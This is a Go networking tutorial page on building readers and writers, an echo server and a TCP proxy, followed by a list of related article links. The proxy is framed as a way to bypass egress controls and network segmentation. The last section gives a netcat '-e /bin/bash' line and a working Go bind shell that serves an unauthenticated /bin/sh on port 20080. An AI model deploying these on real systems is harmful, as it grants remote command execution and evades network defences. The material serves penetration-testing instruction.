Building a TCP Proxy

Using io.Reader and io.Writer

Essentially all input/output(I/O).

  1. package main
  2.  
  3. import (
  4. "fmt"
  5. "log"
  6. "os"
  7. )
  8.  
  9. // FooReader defines an io.Reader to read from stdin.
  10. type FooReader struct{}
  11.  
  12. // Read reads data from stdin.
  13. func (fooReader *FooReader) Read(b []byte) (int, error) {
  14. fmt.Print("in > ")
  15. return os.Stdin.Read(b)
  16. }
  17.  
  18. // FooWriter defines an io.Writer to write to Stdout.
  19. type FooWriter struct{}
  20.  
  21. // Write writes data to Stdout.
  22. func (fooWriter *FooWriter) Write(b []byte) (int, error) {
  23. fmt.Print("Out > ")
  24. return os.Stdout.Write(b)
  25. }
  26.  
  27. func main() {
  28. // Instantiate reader and writer.
  29. var (
  30. reader FooReader
  31. writer FooWriter
  32. )
  33.  
  34. // Create buffer to hold input/output.
  35. input := make([]byte, 4096)
  36.  
  37. // Use reader to read input.
  38. s, err := reader.Read(input)
  39. if err != nil {
  40. log.Fatalln("Unable to read data")
  41. }
  42. fmt.Printf("Read %d bytes from stdin\n", s)
  43.  
  44. // Use writer to write output.
  45. s, err = writer.Write(input)
  46. if err != nil {
  47. log.Fatalln("Unable to write data")
  48. }
  49. fmt.Printf("Wrote %d bytes to stdout\n", s)
  50. }

  

Copy function in Go.

  1. package main
  2.  
  3. import (
  4. "fmt"
  5. "io"
  6. "log"
  7. "os"
  8. )
  9.  
  10. // FooReader defines an io.Reader to read from stdin.
  11. type FooReader struct{}
  12.  
  13. // Read reads data from stdin.
  14. func (fooReader *FooReader) Read(b []byte) (int, error) {
  15. fmt.Print("in > ")
  16. return os.Stdin.Read(b)
  17. }
  18.  
  19. // FooWriter defines an io.Writer to write to Stdout.
  20. type FooWriter struct{}
  21.  
  22. // Write writes data to Stdout.
  23. func (fooWriter *FooWriter) Write(b []byte) (int, error) {
  24. fmt.Print("Out > ")
  25. return os.Stdout.Write(b)
  26. }
  27.  
  28. func main() {
  29. // Instantiate reader and writer.
  30. var (
  31. reader FooReader
  32. writer FooWriter
  33. )
  34.  
  35. if _, err := io.Copy(&writer, &reader); err != nil {
  36. log.Fatalln("Unable to read/write data")
  37. }
  38. }

  

 Creating the Echo Server

Use net.Conn function in Go.

  1. package main
  2.  
  3. import (
  4. "io"
  5. "log"
  6. "net"
  7. )
  8.  
  9. // echo is a handler function that simply echoes received data.
  10. func echo(conn net.Conn) {
  11. defer conn.Close()
  12.  
  13. // Create a buffer to store received data
  14. b := make([]byte, 512)
  15. for {
  16. // Receive data via conn.Read into a buffer.
  17. size, err := conn.Read(b[0:])
  18. if err == io.EOF {
  19. log.Println("Client disconnected")
  20. break
  21. }
  22. if err != nil {
  23. log.Println("Unexpected error")
  24. break
  25. }
  26. log.Printf("Received %d bytes: %s\n", size, string(b))
  27.  
  28. //Send data via conn.Write.
  29. log.Println("Writing data")
  30. if _, err := conn.Write(b[0:size]); err != nil {
  31. log.Fatalln("Unable to write data")
  32. }
  33. }
  34. }
  35.  
  36. func main() {
  37. // Bind to TCP port 20080 on all interfaces.
  38. listener, err := net.Listen("tcp", ":20080")
  39. if err != nil {
  40. log.Fatalln("Unable to bind to port")
  41. }
  42. log.Println("Listening on 0.0.0.0:20080")
  43. for {
  44. // Wait for connection, Create net.Conn on connection established.
  45. conn, err := listener.Accept()
  46. log.Println("Received connection")
  47. if err != nil {
  48. log.Fatalln("Unable to accept connection")
  49. }
  50. // Handle the connection. Using goroutine for concurrency.
  51. go echo(conn)
  52. }
  53. }

Using Telnet as the connecting client:

The server produces the following standard output:

Improving the Code by Creating a Buffered Listener.

Use bufio package in GO.

  1. // echo is a handler function that simply echoes received data.
  2. func echo(conn net.Conn) {
  3. defer conn.Close()
  4.  
  5. reader := bufio.NewReader(conn)
  6. s, err := reader.ReadString('\n')
  7. if err != nil {
  8. log.Fatalln("Unable to read data")
  9. }
  10. log.Printf("Read %d bytes: %s", len(s), s)
  11.  
  12. log.Println("Writing data")
  13. writer := bufio.NewWriter(conn)
  14. if _, err := writer.WriteString(s); err != nil {
  15. log.Fatalln("Unable to write data")
  16. }
  17. writer.Flush()
  18. }

Or use io.Copy in Go.

  1. // echo is a handler function that simply echoes received data.
  2. func echo(conn net.Conn) {
  3. defer conn.Close()
  4. // Copy data from io.Reader to io.Writer via io.Copy().
  5. if _, err := io.Copy(conn, conn); err != nil {
  6. log.Fatalln("Unable to read/write data")
  7. }
  8. }

Proxying a TCP Client

It is useful for trying to circumvent restrictive egress controls or to leverage a system to bypass network segmentation.

  1. package main
  2.  
  3. import (
  4. "io"
  5. "log"
  6. "net"
  7. )
  8.  
  9. func handle(src net.Conn) {
  10. dst, err := net.Dial("tcp", "destination.website:80")
  11. if err != nil {
  12. log.Fatalln("Unable to connect to our unreachable host")
  13. }
  14. defer dst.Close()
  15.  
  16. // Run in goroutine to prevent io.Copy from blocking
  17. go func() {
  18. // Copy our source's output to the destination
  19. if _, err := io.Copy(dst, src); err != nil {
  20. log.Fatalln(err)
  21. }
  22. }()
  23. // Copy our destination's output back to our source
  24. if _, err := io.Copy(src, dst); err != nil {
  25. log.Fatalln(err)
  26. }
  27. }
  28.  
  29. func main() {
  30. // Listen on local port 80
  31. listener, err := net.Listen("tcp", ":80")
  32. if err != nil {
  33. log.Fatalln("Unable to bind to port")
  34. }
  35.  
  36. for {
  37. conn, err := listener.Accept()
  38. if err != nil {
  39. log.Fatalln("Unable to accept connection")
  40. }
  41. go handle(conn)
  42. }
  43. }

 Replicating Netcat for Command Execution

The following feature is not included in standard Linux builds.

  1. nc -lp -e /bin/bash

Create it in GO!

Using PipeReader and PipeWriter allows you to

  1. package main
  2.  
  3. import (
  4. "io"
  5. "log"
  6. "net"
  7. "os/exec"
  8. )
  9.  
  10. func handle(conn net.Conn) {
  11.  
  12. /*
  13. * Explicitly calling /bin/sh and using -i for interactive mode
  14. * so that we can use it for stdin and stdout.
  15. * For Windows use exec.Command("cmd.exe")
  16. */
  17. cmd := exec.Command("/bin/sh","-i")
  18. rp, wp := io.Pipe()
  19. // Set stdin to our connection
  20. cmd.Stdin = conn
  21. cmd.Stdout = wp
  22. go io.Copy(conn, rp)
  23. cmd.Run()
  24. conn.Close()
  25. }
  26.  
  27. func main() {
  28. listener, err := net.Listen("tcp", ":20080")
  29. if err != nil {
  30. log.Fatalln(err)
  31. }
  32.  
  33. for {
  34. conn, err := listener.Accept()
  35. if err != nil {
  36. log.Fatalln(err)
  37. }
  38. go handle(conn)
  39. }
  40. }

  

Go Pentester - TCP Proxy的更多相关文章

  1. nginx tcp proxy 连接保持设置

    根据前文Nginx tcp proxy module试用的设置,在测试环境中发现tcp连接经常掉线.在该项目站点上找到一个issue,也谈论这件事情,不过别人用在web socket协议上. 其实就是 ...

  2. 基于nginx的TCP Proxy实现数据库读写分离

    nginx非常早就支持tcp proxy.可是一直不知道其使用,近期在nginx blog上看见了.一些实践者将其运用到数据库訪问的负载均衡以及实现读写分离,来提高数据库的吞吐量,这里我不会讲详细的搭 ...

  3. named piped tcp proxy 下载

    named piped tcp proxy 在某DN上面下载很麻烦,还要登录什么的,分享出来!希望大家支持 链接:https://pan.baidu.com/s/1fdJD6O0qb8_BkkrnMy ...

  4. Proxy Server源码及分析(TCP Proxy源码 Socket实现端口映射)

    版权声明:本文为博主原创文章,遵循 CC 4.0 by-sa 版权协议,转载请附上原文出处链接和本声明.本文链接:https://blog.csdn.net/u014530704/article/de ...

  5. Nginx TCP Proxy模块的编译安装

    这次用一个国内开发者在GitHub上的开源项目https://github.com/yaoweibin/nginx_tcp_proxy_module 我的系统已经安装了最新的Nginx,现在需要下载源 ...

  6. iodine免费上网——本质就是利用dns tunnel建立tcp,然后tcp proxy来实现通过访问虚拟dns0网卡来访问你的dns 授权server

    我的命令: server端: sudo iodined -P passwd -f -DD 10.0.0.100 abc.com client端(直连模式,-r表示使用xxx.abc.com的xxx来转 ...

  7. Go Pentester - TCP Scanner

    Simple Port Scanner with Golang Use Go‘s net package: net.Dial(network, address string) package main ...

  8. tcp转发

    Proxy.java package com.dc.tcp.proxy; import java.io.IOException; import java.net.ServerSocket; impor ...

  9. Linux 系统安全 抵御TCP的洪水

    抵御TCP的洪水 分类: LINUX tcp_syn_retries :INTEGER默认值是5对 于一个新建连接,内核要发送多少个 SYN 连接请求才决定放弃.不应该大于255,默认值是5,对应于1 ...

随机推荐

  1. 为什么Web开发人员在2020年不用最新的CSS功能

    转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 原文出处:https://dzone.com/articles/why-masses-are-not-usi ...

  2. 06.DRF-第一个demo

    一.环境安装与配置 DRF需要以下依赖: Python (2.7, 3.2, 3.3, 3.4, 3.5, 3.6) Django (1.10, 1.11, 2.0) DRF是以Django扩展应用的 ...

  3. SLAM:使用EVO测评ORBSLAM2

    SLAM:使用EVO测评ORBSLAM2 EVO是用来评估SLAM系统测量数据以及输出估计优劣的Python工具,详细说明请参照: https://github.com/MichaelGrupp/ev ...

  4. 微信小程序-Page生命周期

    QQ讨论群:785071190 微信小程序开发之前我们还需认识一下小程序页面的生命周期,丛"微信小程序-代码构成"一文中我们可以了解到小程序页面中有一个.js的文件,这篇博文我们来 ...

  5. vue 组件传参及跨域传参

    可以完成跨组件传参的四种方式 // 1) localStorage:永久存储数据 // 2) sessionStorage:临时存储数据(刷新页面数据不重置,关闭再重新开启标签页数据重置) // 3) ...

  6. postman使用小结(一)

    postman可以用来做接口测试. 下面是使用的基本步骤: 1新建http请求: 2设置请求类型get/post/put/delete...: 3设置请求的url: 4设置请求的Header头部信息, ...

  7. liunx中组合查询的命令

    今天无聊,把以前的liunx命令拿过练练,尤其是一些组合命令并带有逻辑的.这里的script是一个文件夹. 1.查看一个文件的最后3行的第一行. [root@localhost home]# tail ...

  8. 重学 Java 设计模式:实战中介者模式「按照Mybaits原理手写ORM框架,给JDBC方式操作数据库增加中介者场景」

    作者:小傅哥 博客:https://bugstack.cn - 原创系列专题文章 沉淀.分享.成长,让自己和他人都能有所收获! 一.前言 同龄人的差距是从什么时候拉开的 同样的幼儿园.同样的小学.一样 ...

  9. MongoDB快速入门教程 (4.4)

    4.5.Mongoose索引和方法 4.5.1.设置索引 let UserSchema = mongoose.Schema({ sn: { type: Number, // 设置唯一索引 unique ...

  10. 在eclipse中使用maven构建spring cloud微服务

    使用eclipse中使用maven构建spring cloud微服务,springcloud通过maven构建项目.springcloud项目搭建. 工具/原料   eclipse maven spr ...